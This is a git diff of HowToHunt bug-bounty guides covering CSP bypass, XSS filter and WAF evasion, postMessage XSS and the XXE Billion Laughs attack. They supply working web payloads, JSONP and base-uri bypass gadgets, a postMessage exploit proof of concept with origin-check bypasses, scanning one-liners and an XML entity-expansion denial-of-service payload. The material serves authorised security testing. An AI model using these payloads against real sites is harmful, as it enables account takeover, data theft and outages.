object-src 'none'; ``` ---- - -## Key CSP Directives - -Below are some important CSP directives and their functions: +### Key CSP directives -1. **script-src:** Defines allowed sources for JavaScript execution, including inline scripts and external script files. -2. **default-src:** Sets the default policy for resource loading when specific fetch directives are not defined. -3. **child-src:** Controls allowed sources for web workers and embedded frames. -4. **connect-src:** Restricts URLs used in interfaces such as `fetch`, `WebSocket`, and `XMLHttpRequest`. -5. **frame-src:** Defines allowed sources for `` and ` ``` ---- +### 2. JSONP-based bypass -### 2. JSONP-Based CSP Bypass +JSONP (JSON with Padding) returns executable code wrapped in a callback call to sidestep the Same-Origin Policy. If a JSONP-capable endpoint is allowlisted in `script-src`, its callback parameter becomes an execution gadget: -JSONP (JSON with Padding) is a technique used to bypass the Same-Origin Policy (SOP) by injecting JavaScript payloads into API responses. If a JSONP endpoint is included in the `script-src` policy, it can be exploited to inject malicious scripts. +```text +https://accounts.google.com/o/oauth2/revoke?callback=alert(1337) +``` -Example JSONP endpoint: +With `accounts.google.com` in `script-src`, load on the vulnerable page: -```plaintext -https://accounts.google.com/o/oauth2/revoke?callback=alert(1337) +```html + ``` -If a CSP policy includes `accounts.google.com` in the `script-src` directive, an attacker can exploit it as follows: +Or chained through a redirect-style parameter: -```plaintext +```text something.example.com?vuln_param=https://accounts.google.com/o/oauth2/revoke?callback=alert(1337) ``` -This allows JavaScript execution from an external source, effectively bypassing CSP. +JavaScript now executes from an allowlisted external source — CSP bypassed. ---- +### 3. CSP injection -### 3. CSP Injection +If user input is reflected into the CSP header itself: -CSP injection occurs when user-controlled input is reflected in the CSP header. Consider the following vulnerable URL: - -```plaintext +```text example.com?vuln=something_vuln_csp ``` -If the value of `vuln` is directly inserted into the CSP header, an attacker can manipulate the policy: +produces: -```plaintext -script-src something_vuln_csp; -object-src 'none'; -base-uri 'none'; -require-trusted-types-for 'script'; -report-uri https://csp.example.com; +```text +Content-Security-Policy: script-src something_vuln_csp; object-src 'none'; base-uri 'none'; require-trusted-types-for 'script'; report-uri https://csp.example.com; ``` -By modifying the `script-src` directive, an attacker can include a malicious domain, allowing external JavaScript execution. +Manipulating the value (typically via newline/CRLF or directive separators, depending on the sink) lets an attacker rewrite `script-src` to include a malicious domain, enabling external JavaScript execution. + +### 4. base-uri hijack + +When `base-uri` is missing or permissive, an injected `` tag (e.g. via HTML injection) changes what `'self'` resolves to, so relative script URLs are fetched from the attacker: + +```html + + +``` ---- +### 5. Known third-party gadgets -## Author +- Allowlisted analytics/CDN hosts with `callback=` parameters (JSONP), AngularJS pages permitting `{{constructor.constructor('alert(1)')()}}` template payloads, and file-upload endpoints on the same allowlisted host served as `text/html`/`application/javascript`. Enumerate every allowlisted host and test each for one of these gadgets. -For further information or discussions, feel free to reach out to: +## Tools & Resources -- **[@harsha0x01](https://twitter.com/harsha0x01)** +- Google **CSP Evaluator**: https://csp-evaluator.withgoogle.com (paste a policy, get weakness findings) +- [PortSwigger: CSP bypass & exploiting DOM XSS with CSP](https://portswigger.net/web-security/csp) · [OWASP CSP Cheat Sheet](https://owasp.org/www-project-secure-headers/) +- Header capture: `curl -sI`, Burp response pane; report collector for debugging: temporary `report-to` listener (e.g. requestbin-style) ---- +## Report Tips -*Enhanced and reformatted for HowToHunt repository by [remonsec](https://x.com/remonsec)* +- Pair every CSP bypass with the XSS that it unblocks (or state the exact XSS context + blocked attempt + working bypass chain); a bypass without execution is usually policy-hardening, not a vuln. +- Show which check was defeated (directive value, allowlisted gadget, injected header) so the fix is obvious to the developer — include the violating-console-error before/after. +- For JSONP gadgets on third-party domains, note that the allowlist entry itself is the root cause and recommend removing `*`, `'unsafe-inline'`, `data:`, `base-uri` gaps as concrete hardening. diff --git a/XSS/XSS_Bypass.md b/XSS/XSS_Bypass.md index a5e881e3..9fe15951 100644 --- a/XSS/XSS_Bypass.md +++ b/XSS/XSS_Bypass.md @@ -1,40 +1,50 @@ -# XSS Filter Bypass Techniques +# XSS Filter & WAF Bypass Techniques -## Introduction +When a target reflects input but a filter, sanitizer, or WAF blocks standard payloads, the goal is to evade pattern matching while keeping the payload executable. Knowing these evasions turns a "reflected but not firing" finding into a working XSS, which is usually the difference between informational and a paid report. Severity depends on what the bypass ultimately achieves — any filter circumvention demonstrated with script execution in a victim context is a valid vulnerability. -For those new to Cross-Site Scripting (XSS) attacks, it is essential to first understand the fundamental concepts before exploring filter bypass techniques. +General XSS hunting workflow lives in [Xss.md](./Xss.md); CSP-specific evasions live in [Bypass_CSP.md](./Bypass_CSP.md). ---- +## Hunting Checklist -## Alternatives to `alert()` +1. Start minimal (`'>`, ``) to learn *what layer* blocks you: reflection (encoded/stripped), keyword filtering, or WAF (403/405/block page). +2. Replace blocked primitives one at a time: blocked `alert()` → alternatives; blocked `onerror` → other handlers; blocked `()` → backticks. +3. Work through encoding and case evasions (entity, double-encoding, newline, tab) if keywords are blacklisted. +4. Test whether filtering is recursive by nesting tags; test whitespace rules with `/` and `•`. +5. If GET is filtered, switch the request method; if a WAF blocks the path, probe CRLF/response splitting carefully. +6. Fingerprint the WAF with WhatWaf and search for known public bypass payloads for it (see Resources). +7. Confirm each idea against [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) / [OWASP](https://owasp.org/www-community/xss-filter-evasion-cheatsheet) cheat sheets before assuming a filter is unique. -Many web applications block the `alert()` function to mitigate XSS attacks. Below are alternative functions that can be used: +## Test Cases & Examples + +### Alternatives to `alert()` + +Many applications block `alert()`. Use one of: - **`confirm()`** instead of `alert()` - **`prompt()`** instead of `alert()` -- **`console.log()`** instead of `alert()` +- **`console.log()`** instead of `alert()` (silent proof — check devtools) - **`eval()`** instead of `alert()` ---- - -## Alternatives to the `onerror` Event Handler - -If the `onerror` event handler is blocked, the following alternatives can be used to trigger JavaScript execution: +```html + + + +``` -- **`onload`** -- **`onfocus`** -- **`onmouseover`** -- **`onblur`** -- **`onclick`** -- **`onscroll`** +### Alternatives to the `onerror` event handler -These event handlers can be embedded within HTML elements to execute scripts when the event is triggered. +If `onerror` is blocked, trigger script execution with other handlers: `onload`, `onfocus`, `onmouseover`, `onblur`, `onclick`, `onscroll` — embedded in HTML elements so the event fires naturally: ---- +```html + + + +
hover me
+``` -## Handling Parentheses Filtering +### Handling parentheses filtering -If parentheses `()` are filtered, backticks `` ` ` `` can be used as an alternative. Examples: +If `()` are filtered, backticks work in most engines (template literals still call the function — effective against weak sanitizers that only block standard calls): ```html @@ -44,24 +54,97 @@ javascript:prompt`1` javascript:alert`1` ``` -This method is effective against weak input sanitization mechanisms that only block standard function calls enclosed in parentheses. +### HTML entities instead of raw `<` / `>` + +```html +<script>alert(1)</script> +``` + +### XSS polyglot ---- +```html +javascript:/*--> +``` + +Full list: [XSS Polyglots](https://gist.github.com/michenriksen/d729cd67736d750b3551876bbedbe626) + +### Bypassing lowercase filtering (case alternation) + +```html + +``` + +### Breaking firewall regex with new lines + +```html + +``` -## Additional Resources +### Double encoding -For further learning and reference, the following resources provide comprehensive details on XSS filter evasion techniques: +```text +%2522 +``` + +### Recursive-filter bypass (stripped keyword reassembles) + +```html +ipt>alert(1);ipt> +``` + +### Anchor tag injected without whitespace + +```html + +``` + +### Whitespace filtering bypassed with a bullet (`•`) + +```html + +``` + +### Changing request method (filter applied per-method) + +```http +GET /?q=xss HTTP/1.1 +Host: target.com +``` + +```http +POST / HTTP/1.1 +Host: target.com +Content-Type: application/x-www-form-urlencoded + +q=xss +``` + +### CRLF injection / HTTP response splitting + +```http +GET /%0A%0DValue=%20Virus HTTP/1.1 +Host: target.com +``` -1. **PortSwigger XSS Cheat Sheet** - [Visit PortSwigger](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) -2. **OWASP XSS Filter Evasion Cheat Sheet** - [Visit OWASP](https://owasp.org/www-community/xss-filter-evasion-cheatsheet) +## Bypass Techniques ---- +- Combine layers: case alternation + entity encoding + backticks, or `` with `/` as the "whitespace" separator. +- If a keyword regex spans quotes (e.g. `src="`), remove quotes: ``. +- Non-printable separators (`%09` tab, `%0a` newline, ` `, ` `) break naive substring rules. +- Move context instead of fighting the filter: path segments, `#` fragments, HTTP headers reflected in pages, JSON responses rendered client-side (DOM XSS — see [post_message_xss.md](./post_message_xss.md)). +- WAF-specific rules are often published — Twitter-search the WAF name + "bypass" and check [Awesome-WAF](https://github.com/0xInfection/Awesome-WAF). +- If `script-src` CSP blocks execution after a successful injection, continue in [Bypass_CSP.md](./Bypass_CSP.md). -## Contact Information +## Tools & Resources -For discussions and insights, you can connect with: +- [PortSwigger XSS Cheat Sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) +- [OWASP XSS Filter Evasion Cheat Sheet](https://owasp.org/www-community/xss-filter-evasion-cheatsheet) +- [XSS Polyglots gist (michenriksen)](https://gist.github.com/michenriksen/d729cd67736d750b3551876bbedbe626) +- [WhatWaf](https://github.com/Ekultek/WhatWaf) · [Awesome-WAF](https://github.com/0xInfection/Awesome-WAF) +- Contact for discussions: **[@Fani Malik](https://twitter.com/fanimalikhack/)** -- **[@Fani Malik](https://twitter.com/fanimalikhack/)** +## Report Tips ---- -*Enhanced and reformatted for HowToHunt repository by [remonsec](https://x.com/remonsec)* +- Bypass payloads are noise; the finding is *script execution* — include the final working payload, exact URL/request, and which filters were evaded. +- Show the impact chain (cookie/token theft, action as victim), not just `alert(1)`; a stored context with a WAF bypass is a strong high. +- Include the blocked baseline (original payload that returned the filter/403) next to the working bypass so triage can reproduce both. diff --git a/XSS/Xss.md b/XSS/Xss.md index 76580524..0456271b 100644 --- a/XSS/Xss.md +++ b/XSS/Xss.md @@ -1,188 +1,78 @@ -# **Comprehensive Guide to XSS Exploitation Techniques and Bypasses** - -## **1. Reflected XSS Methods** -Reflected XSS attacks exploit vulnerabilities where user input is included in the response without proper sanitization. Below are some common approaches. - -### **Mind Map for Reflected XSS** -An extensive mind map detailing approaches to reflected XSS can be found here: -**[Reflected XSS Mindmap](https://github.com/A9HORA/Reflected-XSS-Mindmap)** by **[@A9HORA](https://twitter.com/A9HORA)**. - -### **1.1 Using Burp Suite** -1. Install the **Reflection** and **Sentinel** plugins for Burp Suite. -2. Walk and spider the target site. -3. Inspect the **reflected parameters** tab in Burp. -4. Send parameters to **Sentinel** for automated analysis or verify manually. - -### **1.2 Using WaybackURLs and Similar Tools** -1. Use **[Gau](https://github.com/lc/gau)** or **[WaybackURLs](https://github.com/tomnomnom/waybackurls)** to collect URLs. -2. Filter parameters using `grep "="` or **GF patterns** and store them in a file. -3. Run **[Gxss](https://github.com/KathanP19/Gxss)** or **[Bxss](https://github.com/ethicalhackingplayground/bxss/)** on the file. -4. Manually inspect reflected parameters or use **[Dalfox](https://github.com/hahwul/dalfox)**. - -### **1.3 Using Google Dorks** -1. Use Google Dork: `site:target.com` -2. Find links with parameters using dorks such as: - - `site:target.com inurl:".php?"` - - `site:target.com filetype:php` - - **More dorks:** [Top 100 XSS Dorks](https://www.openbugbounty.org/blog/devl00p/top-100-xss-dorks/) -3. Check if parameters are reflected in HTML. -4. Inject XSS payloads or test with automated tools. - -### **1.4 Finding Hidden Variables in Source Code** -1. Inspect JavaScript and HTML source files for hidden parameters. -2. Search manually in **Page Source** for: - - `var=` - - `=""` - - `=''` -3. Append discovered parameters to URLs, e.g., - `https://example.com?hiddenvariablename=xss` - -### **1.5 Other Techniques** -1. Use **Methods 1 or 2** to gather URLs. -2. Identify the **firewall** using [WhatWaf](https://github.com/Ekultek/WhatWaf). -3. Find WAF bypass payloads: - - Twitter search - - [Awesome WAF Bypass](https://github.com/0xInfection/Awesome-WAF) -4. Use **[Arjun](https://github.com/s0md3v/Arjun)** to discover hidden parameters. - -### **Additional Tips** -- Examine **error pages (404, 403, etc.)** for reflected values. -- Trigger a **403 error** by requesting the `.htaccess` file. -- Test **all reflected parameters** for XSS. - -### **Video References** -- [Reflected XSS Automation](https://www.youtube.com/watch?v=wuyAY3vvd9s) -- [Practical XSS Hunting](https://www.youtube.com/watch?v=GsyOuQBG2yM) - ---- - -## **2. Stored XSS Methods** -Stored XSS occurs when malicious scripts are permanently stored on the target website. - -### **Steps for Detecting Stored XSS** -1. Enumerate the firewall and identify WAF rules. -2. Test payloads in fields such as: - - **Username** - - **Address** - - **Email** -3. Inject payloads in **profile picture filenames** and metadata. -4. Attempt injections in **comments, reviews, and feedback sections**. -5. Try **every input field** that reflects data to other users. -6. Register an account with an XSS payload in the **name field**. - -### **Additional Tips** -- Test entity injection with: - ```html - test - ``` -- If any payload is executed, refine and escalate the attack. - -### **Write-Up Reference** -- [How I Found My First Stored XSS](https://medium.com/@fatin151485/how-i-found-my-first-stored-xss-on-popular-eboighar-com-6bd497b0bb96) - ---- - -## **3. Blind XSS** -Blind XSS occurs when the payload does not immediately reflect, but executes later in backend systems or admin panels. - -### **Detection Techniques** -1. Inject payloads that call back to a **listener** on your server. -2. Use: - - **[XSS Hunter](https://xsshunter.com/)** - - **Burp Collaborator** - - **Ngrok** for receiving callbacks. -3. Test injection points such as: - - **Contact forms** - - **Admin dashboards** - - **User input logs** - - **E-commerce checkout fields** - -### **Common Injection Points** -- **Review and feedback forms** -- **Address fields in e-commerce sites** -- **User-Agent headers** -- **Log viewers** -- **Chat applications** -- **Moderation panels** - -### **Video References** -- [Blind XSS Hunting](https://www.youtube.com/watch?v=uHy1x1NkwRU) - ---- - -## **4. DOM-Based XSS** -DOM XSS occurs when JavaScript dynamically manipulates the page without sanitizing user input. - -### **Tips** -- Manual detection is difficult; use tools like: - - **Burp Suite PRO** - - **[RA2 DOM XSS Scanner](https://github.com/dpnishant/ra2-dom-xss-scanner)** - -### **Video References** -- [Understanding DOM XSS](https://www.youtube.com/watch?v=gBqzzhgHoYg) - ---- - -## **5. XSS Filter Evasion Techniques** -### **General Bypass Techniques** -- Replace `<` and `>` with **HTML entities**: - ```html - <script>alert(1)</script> - ``` -- Use **XSS polyglots**: - ```html - javascript:/*--> - ``` - - [Full XSS Polyglots List](https://gist.github.com/michenriksen/d729cd67736d750b3551876bbedbe626) - -### **XSS Firewall Bypass** -- **Bypass lowercase filtering**: - ```html - - ``` -- **Break firewall regex using new lines**: - ```html - - ``` -- **Double Encoding**: - ```plaintext - %2522 - ``` -- **Recursive filters bypass**: - ```html - ipt>alert(1);ipt> - ``` -- **Injecting anchor tags without whitespace**: - ```html - - ``` -- **Bypassing whitespace filtering using a bullet (`•`)**: - ```html - - ``` -- **Changing request methods**: - ``` - GET /?q=xss - POST / q=xss - ``` -- **Injecting CRLF characters for HTTP response splitting**: - ``` - GET /%0A%0DValue=%20Virus - ``` - ---- - -## **Acknowledgments and References** -### **Special Thanks** -- **[The XSS Rat](https://www.youtube.com/channel/UCjBhClJ59W4hfUly51i11hg)** -- **[@sratarun](https://twitter.com/sratarun)** - -### **References** -- **[Hunting Checklist](https://github.com/heilla/SecurityTesting/blob/master/HuntingCheckList.md)** - -### **Authors** -- **[@KathanP19](https://twitter.com/KathanP19)** -- **[@harsha0x01](https://twitter.com/harsha0x01)** - ---- -*Enhanced and reformatted for HowToHunt repository by [remonsec](https://x.com/remonsec)* +# Cross-Site Scripting (XSS) + +XSS lets an attacker inject JavaScript that runs in another user's browser within the target's origin, making it one of the most common and impactful web vulnerabilities. It enables session hijacking, account takeover, credential/phishing attacks, defacement, and actions performed on behalf of victims. Reflected/Stored XSS with reachable victims is typically medium–high severity; XSS that steals tokens or leads to account takeover should be reported as high/critical. + +> Companion docs (no overlap kept here): [Filter/WAF bypasses →](./XSS_Bypass.md) · [CSP bypasses →](./Bypass_CSP.md) · [postMessage/DOM XSS →](./post_message_xss.md) · [Automation pipelines →](./Automated_XSS.md) + +## Hunting Checklist + +1. Enumerate every input that can reach a response body or another user: query parameters, POST bodies, path segments, JSON fields, headers, forms, error pages. +2. **Burp (manual):** install the **Reflection** and **Sentinel** plugins, walk/spider the site, inspect the *reflected parameters* tab, then send candidates to Sentinel or verify manually. +3. **Wayback-driven:** collect URLs with [Gau](https://github.com/lc/gau) / [WaybackURLs](https://github.com/tomnomnom/waybackurls), filter parameters with `grep "="` or **GF patterns**, scan with [Gxss](https://github.com/KathanP19/Gxss) / [Bxss](https://github.com/ethicalhackingplayground/bxss/) / [Dalfox](https://github.com/hahwul/dalfox) — full pipelines in [Automated_XSS.md](./Automated_XSS.md). +4. **Google dorks:** `site:target.com`, `site:target.com inurl:".php?"`, `site:target.com filetype:php`; more in [Top 100 XSS Dorks](https://www.openbugbounty.org/blog/devl00p/top-100-xss-dorks/). +5. **Hidden variables in source:** search Page Source / JS files for `var=`, `=""`, `=''`, then append discovered parameters to the URL (e.g. `https://example.com?hiddenvariablename=xss`). Use [Arjun](https://github.com/s0md3v/Arjun) to discover hidden parameters. +6. Check **error pages (404, 403, etc.)** for reflected values; trigger a 403 by requesting the `.htaccess` file. Test **all** reflected parameters. +7. **Identify the firewall** with [WhatWaf](https://github.com/Ekultek/WhatWaf); if payloads are blocked, work through [XSS_Bypass.md](./XSS_Bypass.md) and [Awesome WAF Bypass](https://github.com/0xInfection/Awesome-WAF). +8. **Stored XSS:** enumerate WAF rules first, then test Username, Address, Email, profile-picture **filename and metadata**, comments/reviews/feedback, and every input that reflects data to other users; register an account with a payload in the **name field**. +9. **Blind XSS:** inject callback payloads ([XSS Hunter](https://xsshunter.com/), Burp Collaborator, Ngrok) into contact forms, admin dashboards, user-input logs, e-commerce checkout fields, **User-Agent** headers, log viewers, chat apps, moderation panels. +10. **DOM XSS:** manual detection is hard — use Burp Suite PRO or [RA2 DOM XSS Scanner](https://github.com/dpnishant/ra2-dom-xss-scanner); trace sources (`location.*`, `postMessage`) into sinks (`innerHTML`, `eval`, `src`, `href`); for message listeners see [post_message_xss.md](./post_message_xss.md). +11. If execution is blocked by response headers, pivot to [Bypass_CSP.md](./Bypass_CSP.md). + +## Test Cases & Examples + +Confirm reflection with a harmless unique marker, then adapt to the context (HTML body, attribute, JS string, URL). + +Reflected probe (break out of HTML context): + +```html +"> +``` + +Entity-injection probe for stored-XSS filters (if any payload executes, refine and escalate): + +```html +test +``` + +Source-code hunting — search Page Source / JS files for `var=`, `=""`, `=''`, then append discovered parameters: + +```bash +curl -sk https://target.com/page | grep -Eo "var [a-zA-Z0-9_]+ ?=" +curl -sk https://target.com/page | grep -Eo '[a-zA-Z0-9_]+="[^"]*"' | sort -u +``` + +Wayback + GF triage one-liner (details in [Automated_XSS.md](./Automated_XSS.md)): + +```bash +waybackurls target.com | grep '=' | qsreplace '">' | head -200 | dalfox pipe +``` + +Trigger a 403 error page that may reflect input: + +```http +GET /.htaccess?q=xss%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E HTTP/1.1 +Host: target.com +``` + +## Bypass Techniques + +Kept out of this doc to avoid duplication: + +- Filter/WAF evasion (case alternation, encoding, recursive filters, polyglots, whitespace tricks, `alert()`/`onerror` alternatives) → [XSS_Bypass.md](./XSS_Bypass.md) +- Content-Security-Policy evasion (misconfigurations, JSONP gadgets, CSP injection) → [Bypass_CSP.md](./Bypass_CSP.md) +- `postMessage`-driven DOM XSS → [post_message_xss.md](./post_message_xss.md) + +## Tools & Resources + +- Plugins: Reflection, Sentinel (Burp) · Scanners: Dalfox, Gxss, Bxss, RA2 · Recon: gau, waybackurls, GF + patterns, Arjun, WhatWaf +- Callbacks: XSS Hunter, Burp Collaborator, Ngrok +- Mind map: [Reflected XSS Mindmap](https://github.com/A9HORA/Reflected-XSS-Mindmap) by **[@A9HORA](https://twitter.com/A9HORA)** +- Videos: [Reflected XSS Automation](https://www.youtube.com/watch?v=wuyAY3vvd9s) · [Practical XSS Hunting](https://www.youtube.com/watch?v=GsyOuQBG2yM) · [Blind XSS Hunting](https://www.youtube.com/watch?v=uHy1x1NkwRU) · [Understanding DOM XSS](https://www.youtube.com/watch?v=gBqzzhgHoYg) +- [Hunting Checklist](https://github.com/heilla/SecurityTesting/blob/master/HuntingCheckList.md) +- Credits: **[@KathanP19](https://twitter.com/KathanP19)**, **[@harsha0x01](https://twitter.com/harsha0x01)**; thanks to **[The XSS Rat](https://www.youtube.com/channel/UCjBhClJ59W4hfUly51i11hg)** and **[@sratarun](https://twitter.com/sratarun)**; write-up: [How I Found My First Stored XSS](https://medium.com/@fatin151485/how-i-found-my-first-stored-xss-on-popular-eboighar-com-6bd497b0bb96) + +## Report Tips + +- Show the payload executing in the victim's browser (not just reflection) and name the context; attach a short PoC video/screenshot plus exact URL and steps. +- Escalate impact concretely: session/cookie theft, account takeover via token or reset-link exposure, or actions performed as the victim; for stored/blind XSS prove another user (ideally admin — use the XSS Hunter callback) executed it. +- State which filter/WAF/CSP you bypassed and whether the payload survives at rest; mention self-XSS limitations honestly and only claim chains you actually demonstrated. diff --git a/XSS/post_message_xss.md b/XSS/post_message_xss.md index 108e2764..70463419 100644 --- a/XSS/post_message_xss.md +++ b/XSS/post_message_xss.md @@ -1,55 +1,55 @@ -# **PostMessage XSS (Cross-Site Scripting) Vulnerability** +# postMessage XSS (DOM-based Cross-Site Scripting) -## **Introduction** -The `postMessage` API is widely used in modern web applications to enable cross-origin communication between different windows, iframes, and pop-ups. However, **if the receiving application does not properly validate the origin of incoming messages**, it may be vulnerable to **PostMessage XSS**. +The `postMessage` API enables cross-origin communication between windows, iframes, and pop-ups. When the receiving application does not validate the sender's `origin` (or validates it weakly) and then processes `event.data` in an unsafe way, an attacker on any site can push attacker-controlled data into the victim page's DOM. This yields DOM-based XSS: data theft, session hijacking, and arbitrary JavaScript execution in the target's origin — typically a medium/high finding when sensitive data or actions are reachable. -This vulnerability allows attackers to send malicious data from an **untrusted source (e.g., sandboxed iframe, null origin, or malicious website)** to a trusted application, leading to **security risks such as data theft, session hijacking, and arbitrary JavaScript execution.** +Workflow for general XSS hunting: [Xss.md](./Xss.md). ---- +## Hunting Checklist -## **How PostMessage Works** -The `window.postMessage()` function allows scripts running in one window to send messages to another window. The syntax is: +1. In the site's JavaScript, search for listeners: `addEventListener("message"`, `onmessage`, `attachEvent`. +2. For every listener, check whether `event.origin` / `event.source` are validated before the data is used; note weak checks (`endsWith`, `indexOf(...) !== -1`, regex without `^...$` anchors). +3. Trace where `event.data` flows: sinks like `document.body.innerHTML`, `eval`, `setTimeout`, `src`/`href` assignment, jQuery `$(...).html()`. +4. Find senders using `postMessage(..., "*")` — any window can trigger app logic with crafted payloads. +5. Check whether messages are parsed from JSON without schema/field checks (type confusion). +6. Test with a `null` origin: sandboxed iframe or `data:` URI (see Bypass Techniques). +7. Verify exploitability from your own page using the PoC below against the target's listener. + +## Test Cases & Examples + +### How postMessage works ```javascript window.postMessage(message, targetOrigin, [transfer]); ``` -- `message`: The data to be sent to the target window. -- `targetOrigin`: A string specifying the expected origin of the recipient (use `"*"` to allow any origin, which is insecure). -- `transfer`: Optional, used for passing objects. +- `message`: the data to send to the target window. +- `targetOrigin`: expected origin of the recipient (using `"*"` allows any origin and is insecure). +- `transfer`: optional, for passing objects. Example of secure usage: + ```javascript window.postMessage("data", "https://trusted-site.com"); ``` ---- +### Insecure implementation (no origin validation) -## **Vulnerability: Improper Origin Validation** -If an application listens for `postMessage` events **without verifying the sender’s origin**, an attacker can exploit this by crafting a malicious message from an unauthorized source. - -### **Example of an Insecure Implementation** ```javascript window.addEventListener("message", function (event) { // No origin validation document.body.innerHTML = event.data; }); ``` -**Security Issue:** -- The application directly processes any received message without verifying the sender's origin. -- If an attacker sends a malicious payload (e.g., JavaScript injection), it can lead to XSS. -### **Exploitation Scenario** -1. The vulnerable website listens for messages using `postMessage`, but **does not check the sender’s origin**. -2. An attacker hosts a malicious page and sends a **crafted message** to the vulnerable application. -3. The malicious script gets executed inside the vulnerable website, leading to **DOM-based XSS**. +Security issue: any message from any source is processed; a malicious payload (e.g. an image tag with an event handler) becomes DOM-based XSS. ---- +### Exploitation scenario -## **Exploiting PostMessage XSS** +1. The vulnerable site listens for `postMessage` events **without checking the sender's origin**. +2. The attacker hosts a malicious page that sends a **crafted message** to the vulnerable application. +3. The script executes inside the vulnerable website — **DOM-based XSS**. -### **Proof of Concept (PoC)** -The following PoC demonstrates how an attacker can inject malicious JavaScript into a vulnerable application by exploiting a poorly validated `postMessage` request. +### Proof of Concept ```html @@ -65,26 +65,48 @@ The following PoC demonstrates how an attacker can inject malicious JavaScript i - Click to Exploit - + Click to Exploit + ``` -### **Breakdown of the Attack** -- The script opens the target **vulnerable website** in a new window (`window.open()`). -- It **sends a malicious payload** via `postMessage()` that contains an XSS injection. -- If the application **does not validate the message origin**, the payload executes, triggering **arbitrary JavaScript execution**. +Breakdown: + +- `window.open()` opens the **vulnerable website** in a new window. +- `postMessage()` delivers the **malicious payload** containing the XSS injection. +- With no origin validation on the receiver, the payload executes → **arbitrary JavaScript execution**. + +## Bypass Techniques + +Weak origin checks and how to defeat them: + +- **`event.origin.endsWith("trusted-site.com")`** — register `evil-trusted-site.com` (suffix confusion): + +```javascript +// From https://attacker-controlled-trusted-site.com +child.postMessage('', 'https://trusted-site.com'); +``` + +- **`event.origin.indexOf("trusted-site.com") !== -1`** — substring check: use `https://trusted-site.com.attacker.com`. +- **`null` origin** — sandboxed iframes and `data:` URIs report `origin: "null"`; if the listener trusts `"null"`, exploit it from: + +```html + +``` + +- **Protocol-only or missing `targetOrigin` on the sender side** — intercept/observe frames from your own page and inject into any window handle (`window.opener`, named frames, `window.frames[...]`). +- **Trusted-domain gadgets** — even with correct origin checks, if a trusted origin contains XSS itself (user-controlled subdomains, open redirect + JS URIs), relay messages through it; see [Open_Redirection](../Open_Redirection/Open_Redirection_Hunting.md). + +## Tools & Resources ---- +- Burp Suite **DOM Invlector** (manual DOM XSS verification through the browser) and Burp Suite PRO crawler JS analysis. +- [RA2 DOM XSS Scanner](https://github.com/dpnishant/ra2-dom-xss-scanner) +- JS recon: `waybackurls target.com | grep '\.js' | xargs -n1 curl -sk | grep -E 'postMessage|addEventListener\("message'` +- PortSwigger research: [postMessage JavaScript vuln analysis](https://portswigger.net/bappstore) & Web Security Academy DOM XSS material; OWASP [Testing for DOM-based attacks](https://owasp.org/www-project-web-security-testing-guide/). -## **Impact of PostMessage XSS** -An attacker exploiting this vulnerability can: -- **Execute malicious JavaScript** on the vulnerable application. -- **Steal sensitive data** such as session tokens, authentication credentials, or user inputs. -- **Modify page content** or inject phishing links. -- **Bypass Same-Origin Policy (SOP)** by controlling a trusted domain’s behavior. -- **Perform clickjacking attacks** by embedding the site in an iframe. +## Report Tips ---- -*Enhanced and reformatted for HowToHunt repository by [remonsec](https://x.com/remonsec)* +- Frame impact as DOM XSS in the target's origin: "an attacker page can execute JS as the victim without any interaction beyond visiting the attacker site" — cookie/token theft, actions as the user, phishing overlay. +- Include the vulnerable listener (JS file + snippet/line), the PoC HTML, and a recording of the alert firing on the victim origin. +- If origin is checked but bypassable (suffix/subdomain/null), state exactly which check was defeated — it proves the fix and often raises severity. diff --git a/XXE/Billion_Laugh_Attack.md b/XXE/Billion_Laugh_Attack.md index 5ab1bb56..13ccde97 100644 --- a/XXE/Billion_Laugh_Attack.md +++ b/XXE/Billion_Laugh_Attack.md @@ -1,16 +1,30 @@ -# Billion Laugh Attack -- Another common vulnerability associated with XML parsing is called A Billion Laughs Attack. It uses an entity to resolve itself cyclically thereby consuming more CPU usage and causing a denial of service attack. An Example XML payload that can cause an XXE attack is as follows: +# Billion Laughs Attack (XML Entity Expansion DoS) -``` -Step 1 : Capture the request into Burp -Step 2 : Send it to the repeater tab and then convert the body into XML whether it is accepting or not -Step 3 : To confirm, Check for the [ Accept ] Header change it into Application/json -Step 4 : Covert JSON into XML if their is no Possibility -Step 5 : Add the payload in between and change the content lol1 to lol9 depending on the dos variation in the xml field! -``` +The Billion Laughs Attack is a denial-of-service variant related to XML parsing: nested entities resolve each other cyclically, so a tiny document expands to billions of characters, consuming excessive CPU/memory and knocking the parser (and often the service) offline. It requires no external network access — only an XML parser without entity/expansion limits. Impact is availability-based (application-level DoS); severity depends on how persistently the payload can be stored/re-parsed. -- Billion Laugh Payload : -``` +For classic XXE file-read/blind-exfil hunting, see [XXE Methods](./XXE_Methods.md). + +## Hunting Checklist + +1. Confirm the endpoint parses XML (see the content-type switching steps in [XXE Methods](./XXE_Methods.md)). +2. Send a *small* expansion first (e.g., up to `&lol4;`) and measure response time/memory — never start with the full `lol9` on production. +3. Escalate expansion depth only if the parser resolves nested internal entities at all. +4. Test stored re-parsing paths (profiles, saved documents, feed items): a payload stored once is re-processed on every future view — a persistent DoS. +5. Verify impact safely against a self-owned feature or with explicit program scope; abort if the service degrades for real users. + +## Test Cases & Examples + +Reproduction steps: + +1. Capture the request in Burp. +2. Send it to Repeater and convert the body to XML whether the endpoint accepts it or not. +3. To confirm, check the `Accept` header — change it to `application/xml` (try `application/json` responses as a fallback probe). +4. Convert JSON to XML if that's the only accepted format. +5. Place the payload inside the XML field and tune the DoS variation by changing `lol1` → `lol9` depending on the desired expansion depth. + +Billion Laugh payload: + +```xml @@ -25,8 +39,25 @@ Step 5 : Add the payload in between and change the content lol1 to lol9 dependin ]> -&lol9; +&lol9; ``` -## Contributor: -- [N3T_hunt3r](https://twitter.com/N3T_hunt3r) +Each level multiplies by 10: `lol9` expands to 10^9 copies of `"lol"` ≈ 3 GB of string data from a ~1 KB request. + +Related quadratic-blowup idea (same class): two mutually-recursive entities grow exponentially with document size — same detection applies, so test conservatively. + +## Tools & Resources + +- Burp Suite Repeater (with "grep response" timing comparison) +- PortSwigger — XML injection / entity expansion lab track: https://portswigger.net/web-security/xxe +- PayloadsAllTheThings — XXE (entity expansion section): https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection +- OWASP prevention cheat sheet: https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html + +## Report Tips + 